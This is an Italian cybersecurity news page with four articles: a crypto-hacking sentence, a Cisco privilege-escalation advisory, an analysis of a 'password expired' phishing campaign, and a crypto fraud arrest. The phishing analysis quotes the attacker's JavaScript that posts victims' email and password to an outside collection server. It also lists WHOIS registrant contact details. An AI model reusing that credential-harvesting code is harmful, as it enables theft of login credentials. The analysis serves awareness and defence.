Sicurezza Informatica
Ex-ingegnere di Amazon condannato per hacking di criptovalute
Tempo di lettura: 2 minuti. Ex ingegnere di Amazon, Shakeeb Ahmed, condannato a tre anni per hacking di scambi cripto, rubando oltre $12 milioni.
Shakeeb Ahmed, ex ingegnere della sicurezza di Amazon, è stato condannato a tre anni di prigione per aver hackerato due scambi di criptovalute nel luglio 2022, rubando oltre 12 milioni di dollari. Ahmed è stato anche condannato a tre anni di libertà vigilata e ha ricevuto l’ordine di confiscare 12,3 milioni di dollari e pagare il risarcimento alle due società colpite.
Dettagli del caso
Le piattaforme colpite dall’attacco di Ahmed includono Nirvana Finance, uno scambio di criptovalute decentralizzato, e un’altra piattaforma non nominata sulla blockchain di Solana. Utilizzando le sue competenze in ingegneria inversa dei contratti intelligenti e audit della blockchain, Ahmed ha eseguito attacchi sofisticati che hanno portato al furto di milioni.
Nel primo attacco, ha sfruttato un contratto intelligente per introdurre dati di prezzo falsi in un exchange, causando tariffe gonfiate e il furto di circa 9 milioni di dollari. Successivamente, ha ritirato tutti questi fondi, offrendosi di restituire tutto tranne 1,5 milioni di dollari se l’exchange non coinvolgesse le autorità legali.
Secondo attacco e conseguenze
Ahmed ha poi sfruttato una falla nel protocollo DeFi di Nirvana Finance per prendere in prestito criptovalute ANA a un prezzo basso per poi rivenderle a un tasso più alto, guadagnando circa 3,6 milioni di dollari. Dopo il rifiuto di restituire i fondi a meno che non gli venisse offerto un riscatto di 1,4 milioni di dollari, Nirvana Finance è stata costretta a chiudere, lasciando Ahmed con tutti i fondi rubati.
Misure di evasione
Ahmed ha utilizzato diversi mixer di criptovalute per nascondere la traccia digitale dei fondi rubati, compresi Samourai Whirlpool e le blockchain di Solana ed Ethereum, oltre a scambi esteri per convertire i milioni rubati in Monero, una criptovaluta nota per la sua privacy e anonimato e questo non è bastato all’ex ingegnere di Amazon nell’essere condannato. Ha anche cercato attivamente modi per evitare la rilevazione e l’estradizione, cercando online strategie per fuggire dagli Stati Uniti, impedire il sequestro dei beni e ottenere la cittadinanza in diverse nazioni.
La condanna di Shakeeb Ahmed segna una pietra miliare significativa nella lotta contro gli attacchi informatici nel settore delle criptovalute. Mostra l’impegno degli organi di giustizia a perseguire i responsabili di tali crimini, indipendentemente dalla loro complessità o sofisticatezza. La vicenda evidenzia anche l’importanza della sicurezza e della vigilanza nelle operazioni di scambio di criptovalute.
Sicurezza Informatica
Vulnerabilità privilegi in Cisco Crosswork Network Services Orchestrator
Tempo di lettura: < 1 minuto. Cisco rilascia aggiornamenti software per correggere una vulnerabilità di escalation dei privilegi nel Cisco Crosswork Network Services Orchestrator
Cisco ha rilasciato aggiornamenti software gratuiti che affrontano una vulnerabilità di escalation dei privilegi nel Cisco Crosswork Network Services Orchestrator (NSO). Questa vulnerabilità potrebbe consentire a un attaccante autenticato di eseguire comandi arbitrari con privilegi elevati su un sistema interessato.
Descrizione della Vulnerabilità
La vulnerabilità si trova nel modulo Tail-f HCC Function Pack di Cisco Crosswork NSO e riguarda versioni specifiche del software. Gli aggiornamenti software rilasciati correggono questa falla, prevenendo l’uso non autorizzato di comandi con privilegi elevati.
Versioni interessate e correzioni disponibili
Cisco consiglia agli utenti di aggiornare il software alle seguenti versioni fisse:
Release Cisco Crosswork NSO | Prima Release Fissa Tail-f HCC Function Pack |
---|---|
5.0 e versioni successive | 5.0.5 |
6.0 e versioni successive | 6.0.2 |
Aggiornamenti e Supporto
I clienti con contratti di servizio che includono aggiornamenti software regolari possono ottenere le correzioni di sicurezza attraverso i canali di aggiornamento consueti. I clienti devono assicurarsi che i dispositivi da aggiornare abbiano memoria sufficiente e che le configurazioni hardware e software attuali siano supportate dalla nuova release.
Clienti senza Contratti di Servizio
I clienti che acquistano direttamente da Cisco ma non dispongono di un contratto di servizio e quelli che acquistano tramite venditori terzi ma non riescono a ottenere il software corretto attraverso il loro punto vendita, devono contattare il Cisco TAC. È consigliato avere a disposizione il numero di serie del prodotto e fornire l’URL di questo avviso come prova del diritto a un aggiornamento gratuito.
Informazioni aggiuntive
Per ulteriori informazioni sulla vulnerabilità e le soluzioni di aggiornamento, è possibile consultare la pagina degli avvisi di sicurezza di Cisco.
Sicurezza Informatica
La tua password è scaduta: nuova ondata di attacchi phishing
Tempo di lettura: 4 minuti. Il phishing è una tecnica utilizzata dai criminali informatici per ottenere informazioni personali, come password, numeri di carte di credito e dati finanziari, fingendosi di essere entità affidabili.
Introduzione: Gli attacchi di phishing sono una minaccia sempre più diffusa nel mondo digitale. Con l’aumento dell’uso di Internet e delle comunicazioni via email, i cybercriminali trovano sempre nuovi modi per ingannare le persone e rubare informazioni sensibili. In questo articolo, esploreremo cos’è il phishing, come funziona e come puoi proteggerti da esso.
Cos’è il Phishing: Il phishing è una tecnica utilizzata dai criminali informatici per ottenere informazioni personali, come password, numeri di carte di credito e dati finanziari, fingendosi di essere entità affidabili. Questi truffatori inviano email o messaggi che sembrano provenire da aziende o istituzioni legittime, come banche, social network o siti di e-commerce, al fine di ingannare le vittime e convincerle a fornire le proprie informazioni.
Come Funziona il Phishing: Gli attacchi di phishing possono assumere diverse forme, ma generalmente seguono un processo simile:
- Email di Phishing: Il truffatore invia un’email che sembra provenire da un’azienda conosciuta, chiedendo alla vittima di fornire informazioni personali o di fare clic su un link fraudolento.
- Link Fraudolenti: Il messaggio di phishing contiene un link che porta a una pagina web contraffatta che sembra autentica. Questa pagina può chiedere di accedere al tuo account o di inserire informazioni sensibili.
- Raccolta di Dati: Una volta che la vittima fornisce le informazioni richieste, i truffatori le utilizzano per rubare denaro, identità o altre informazioni sensibili.
Un caso reale di attacco
Questo che segue è un esempio di email ricevuta in una mia casella di posta elettronica. Siccome sono il provider di me stesso è stato subito evidente che si trattasse di un tentativo di phishing:
Il messaggio è in inglese, ed è stato ricevuto da migliaia di utenti che sono stati avvisati del fatto che la loro password era scaduta e che se non si fosse seguito il link il loro account sarebbe stato sospeso.
Io ovviamente ho seguito il link, e la pagina che mi è comparsa è questa:
La prima cosa che possiamo notare è come viene generata una finta pagina di accesso alla email con il nome estratto dal dominio della vittima ed in alcuni casi anche l’icona presa dal sito.
Non è molto complicato generare una pagina del genere, tutte le informazioni sono contenute nell’indirizzo email del malcapitato.
Inserendo la propria password questa viene inviata al server dell’hacker ed archiviata.
Come hanno fatto a trovare la mia email?
Prima di procedere a questo attacco gli hacker fanno una scansione del web, cercando in tutti i siti, forum pubblici, profili social e raccolgono milioni di email.
Successivamente vengono inviate le email e si aspettano gli utenti che “abboccano”
Il sito che viene presentato ha questo indirizzo URL
La pagina è ospitata su un gateway IPFS di CloudFlare.
Cosa è un server IPFS?
Un IPFS gateway funge da intermediario tra la rete IPFS decentralizzata e il World Wide Web tradizionale, consentendo agli utenti di accedere ai contenuti IPFS tramite il web utilizzando URL standard. Ciò rende i contenuti IPFS accessibili a una più ampia base di utenti e facilita l’integrazione dei contenuti IPFS con le applicazioni web esistenti.
In pratica l’origine del contenuto non è facilmente rintracciabile perchè schermata dal gateway.
Analisi del codice della pagina di phishing
Analizzando il codice della pagina è possibile vedere dove vengono inviati i dati raccolti in maniera fraudolenta.
$.ajax({
dataType: 'JSON',
url: 'https://winnersolution.us/TWE/gen.php',
type: 'POST',
data:{
email:email,
password:password,
},
Questo è un pezzo di codice presente nello JavaScript della pagina. Senza scendere nel tecnico, il contenuto del form (la nostra email e la password che abbiamo inserita) viene trasmesso ad uno script ospitato sul dominio “winnsersolution.us” che è un dominio gratuito registrato sul provider NameCheap ed ovviamente non intestato a nessuno.
Admin Name: Ego Mbute
Admin Organization: fiko
Admin Street: 95485085 jfkkf ltd
Admin Street: 95485085 jfkkf ltd
Admin Street:
Admin City: New York
Admin State/Province: NY
Admin Postal Code: 10010
Admin Country: US
Admin Phone: +1.480480883
Admin Phone Ext:
Admin Fax: +1.9484894494
Admin Fax Ext:
Admin Email: ashley.treasurecn@gmail.com
Cosa abbiamo trovato nel server degli hacker?
Abbiamo trovato lo stesso script “gen.php” ripetuto diverse volte ed in diverse cartelle con date che vanno dal 13 al 15 maggio 2024, questo articolo è stato scritto il 16 maggio.
Questo hacker (non molto esperto) ha appena iniziato la sua attività di attacco, ed evidentemente dopo aver raccolto le email dei malcapitati lascerà scadere il dominio è l’hosting e passerà ad una nuova fase di attacco.
Abbiamo rintracciato il server che ha inviato l’email
Nei file log del server di posta elettronica siamo riusciti a trovare l’indirizzo del server che ha originato il messaggio fraudolento.
Il server ed il dominio ( jpcompaniesinc.com ) appartengono ad una azienda che molto probabilmente è stata hackerata in precedenza, e la loro casella di posta utilizzata per inviare altri messaggi.
Come Proteggerti dal Phishing: Proteggerti dagli attacchi di phishing è essenziale per mantenere al sicuro le tue informazioni. Ecco alcuni consigli utili:
- Verifica l’Autenticità: Controlla attentamente l’indirizzo email del mittente e verifica se corrisponde all’azienda o all’istituzione che dice di essere.
- Attenzione ai Link: Non fare clic su link sospetti presenti nelle email. Se devi accedere a un sito web, digita direttamente l’URL nella barra degli indirizzi del tuo browser.
- Non Condividere Informazioni Sensibili: Mai fornire password, numeri di carte di credito o altri dati sensibili tramite email, soprattutto se richiesto in modo non sollecitato.
- Utilizza Soluzioni di Sicurezza: Installa e aggiorna regolarmente un buon software antivirus e antimalware sul tuo computer e dispositivo mobile.
- Sii Consapevole: Sviluppa una consapevolezza delle pratiche di sicurezza online e educa te stesso e i tuoi dipendenti o familiari su come riconoscere e evitare gli attacchi di phishing.
Sicurezza Informatica
Autorità Canadesi arrestano il “Crypto King” per frode da 30 milioni
Tempo di lettura: < 1 minuto. Le Autorità canadesi arrestano il “Crypto King” per una frode da 30 di dollari ecco i dettagli dell’arresto e le implicazioni
Le autorità canadesi hanno arrestato il sedicente “Crypto King” con l’accusa di frode per un ammontare di 30 milioni di dollari. Questo caso evidenzia i rischi associati agli investimenti in criptovalute e l’importanza di una regolamentazione più rigorosa nel settore.
Dettagli dell’arresto
Il “Crypto King” è stato accusato di aver orchestrato uno schema di frode che ha portato alla perdita di 30 milioni di dollari da parte degli investitori. Le indagini hanno rivelato che il sospetto utilizzava tattiche ingannevoli per attrarre investitori, promettendo rendimenti elevati attraverso investimenti in criptovalute.
Indagini e collaborazioni
L’inchiesta è stata condotta con la collaborazione di diverse agenzie investigative canadesi. Queste indagini hanno incluso la raccolta di prove, l’analisi di transazioni finanziarie e l’interrogazione di testimoni. Le autorità hanno sottolineato l’importanza della cooperazione internazionale per combattere le frodi nel settore delle criptovalute.
Implicazioni per gli investitori
Questo caso mette in luce i pericoli delle frodi legate alle criptovalute e l’importanza di fare ricerche approfondite prima di investire. Gli esperti consigliano di essere cauti e di consultare consulenti finanziari qualificati prima di effettuare investimenti in ICO, IEO o altre opportunità di investimento in criptovalute.
Regolamentazione del Settore
L’arresto del “Crypto King” potrebbe accelerare gli sforzi per una regolamentazione più rigorosa del settore delle criptovalute in Canada e a livello globale. Le autorità stanno considerando misure per proteggere meglio gli investitori e prevenire future frodi. La frode da 30 milioni di dollari orchestrata dal “Crypto King” sottolinea la necessità di una maggiore vigilanza nel settore delle criptovalute. Gli investitori devono essere consapevoli dei rischi e fare ricerche approfondite prima di impegnare i loro fondi in questo mercato volatile.
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